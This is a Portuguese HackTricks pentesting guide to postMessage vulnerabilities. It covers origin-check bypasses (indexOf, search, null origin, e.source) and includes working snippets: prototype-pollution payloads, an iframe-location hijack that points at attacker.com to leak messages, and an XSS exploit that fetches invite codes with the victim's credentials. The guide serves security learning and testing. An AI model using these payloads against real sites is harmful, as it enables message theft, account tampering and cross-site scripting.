hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

228 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Vulnerabilidades PostMessage
## Vulnerabilidades PostMessage
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Enviar **PostMessage**
**PostMessage** utiliza a seguinte função para enviar uma mensagem:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Observe que **targetOrigin** pode ser um '\*' ou uma URL como _https://company.com._\
No **segundo cenário**, a **mensagem só pode ser enviada para aquele domínio** (mesmo que a origem do objeto window seja diferente).\
Se o **coringa** for usado, **mensagens poderão ser enviadas para qualquer domínio**, e serão enviadas para a origem do objeto Window.
### Atacando iframe & coringa em **targetOrigin**
Como explicado [**neste relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) se você encontrar uma página que pode ser **iframed** (sem proteção `X-Frame-Header`) e que está **enviando mensagens sensíveis** via **postMessage** usando um **coringa** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
Observe que se a página pode ser iframed mas o **targetOrigin** está **definido para uma URL e não para um coringa**, este **truque não funcionará**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## Exploração de addEventListener
**`addEventListener`** é a função usada pelo JS para declarar a função que está **esperando `postMessages`**.\
Um código semelhante ao seguinte será utilizado:
```javascript
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
```
Note neste caso como a **primeira coisa** que o código está fazendo é **verificar a origem**. Isso é extremamente **importante**, principalmente se a página for fazer **algo sensível** com a informação recebida (como mudar uma senha). **Se não verificar a origem, atacantes podem fazer com que vítimas enviem dados arbitrários para esses endpoints** e mudem as senhas das vítimas (neste exemplo).
### Enumeração
Para **encontrar ouvintes de eventos** na página atual, você pode:
* **Procurar** no código JS por `window.addEventListener` e `$(window).on` (_versão JQuery_)
* **Executar** no console das ferramentas de desenvolvedor: `getEventListeners(window)`
![](<../../.gitbook/assets/image (618) (1) (1).png>)
* **Ir para** _Elementos --> Ouvintes de Eventos_ nas ferramentas de desenvolvedor do navegador
![](<../../.gitbook/assets/image (617).png>)
* Usar uma **extensão de navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Essas extensões de navegador irão **interceptar todas as mensagens** e mostrá-las para você.
### Bypasses de verificação de origem
* **`event.isTrusted`** é Verdadeiro quando o evento foi gerado por uma ação do usuário. Não é realmente contornável se corretamente aplicado, mas vale a pena mencionar.
* Se **`indexOf()`** for usado para **verificar** a **origem** do evento PostMessage, lembre-se de que pode ser facilmente contornado como no exemplo a seguir:
```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
* Se **`search()`** for usado para **validar** a **origem**, pode ser inseguro. De acordo com a documentação de `String.prototype.search()`, o método **recebe um objeto de expressão regular** em vez de uma string. Se algo além de regexp for passado, será implicitamente convertido em regex.\
Em expressão regular, **um ponto (.) é tratado como um coringa**. Um atacante pode tirar vantagem disso e **usar** um **domínio especial** em vez do oficial para burlar a validação, como em:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
* Assim como no exemplo anterior, **`match()`** também verifica uma **regex**, então se a regex estiver malformada, ela pode ser **bypassável**.
* Se a função **`escapeHtml`** for usada, a função não cria um objeto `new` escapado, em vez disso, ela **sobrescreve propriedades** do objeto existente. Isso significa que se conseguirmos criar um objeto com uma propriedade controlada que não responda a `hasOwnProperty`, ela não será escapada.
```javascript
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
O objeto `File` é perfeito para este exploit, pois possui uma propriedade `name` somente leitura que é usada pelo nosso template e irá contornar a função `escapeHtml`.
### e.origin == window.origin bypass
Quando uma página está embutida em um **iframe sandboxed** através de `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, o **origin** desse **iframe** será **`null`**.
Quando o **valor de sandbox `allow-popups` está definido**, então o **popup aberto** irá **herdar** todos os **atributos sandboxed**, a menos que `allow-popups-to-escape-sandbox` esteja definido.\
Assim, abrir um **popup** de um **origin null** fará com que **`window.origin`** dentro do popup também seja **`null`**.
Portanto, se você abrir um **iframe sandboxed** permitindo popups, e então **abrir um popup** a partir do iframe, e **enviar uma postMessage** do iframe **para o popup**, ambos os origins são null, então: **`e.origin == window.origin == null`**
Para mais informações **leia**:
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
### Contornando e.source
É possível verificar se a mensagem veio da mesma janela em que o script está ouvindo (especialmente interessante para **Content Scripts de extensões de navegador** para verificar se a mensagem foi enviada da mesma página):
```javascript
// If its not, return immediately.
if( received_message.source !== window ) {
return;
}
```
Você pode forçar o **`e.source`** de uma mensagem a ser nulo criando um **iframe** que **envia** a **postMessage** e é **imediatamente deletado**.
Para mais informações **leia:**
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
### Bypass do X-Frame-Header
Para realizar esses ataques idealmente você conseguirá **colocar a página web da vítima** dentro de um `iframe`. Mas alguns cabeçalhos como `X-Frame-Header` podem **impedir** esse **comportamento**.\
Nesses cenários, você ainda pode usar um ataque menos discreto. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Roubando mensagem enviada para o iframe filho bloqueando a página principal
Na página a seguir, você pode ver como poderia roubar **dados sensíveis de postmessage** enviados para um **iframe filho** ao **bloquear** a página **principal** antes de enviar os dados e abusar de um **XSS no filho** para **vazar os dados** antes de serem recebidos:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
### Roubando mensagem modificando a localização do iframe
Se você pode colocar um iframe em uma página web sem o cabeçalho X-Frame-Header que contém outro iframe, você pode **mudar a localização desse iframe filho**, então se ele está recebendo um **postmessage** enviado usando um **coringa**, um atacante poderia **mudar** a **origem** desse iframe para uma página **controlada** por ele e **roubar** a mensagem:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
### postMessage para Poluição de Protótipo e/ou XSS
Em cenários onde os dados enviados através de `postMessage` são executados por JS, você pode colocar um **iframe** na **página** e **explorar** a **poluição de protótipo/XSS** enviando o exploit via `postMessage`.
Um par de **XSS muito bem explicados através de `postMessage`** podem ser encontrados em [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
Exemplo de um exploit para abusar de **Poluição de Protótipo e depois XSS** através de um `postMessage` para um `iframe`:
```markup
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
```
Para **mais informações**:
* Link para a página sobre [**poluição de protótipo**](../deserialization/nodejs-proto-prototype-pollution/)
* Link para a página sobre [**XSS**](../xss-cross-site-scripting/)
* Link para a página sobre [**poluição de protótipo do lado do cliente para XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
## Referências
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
* Para praticar: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>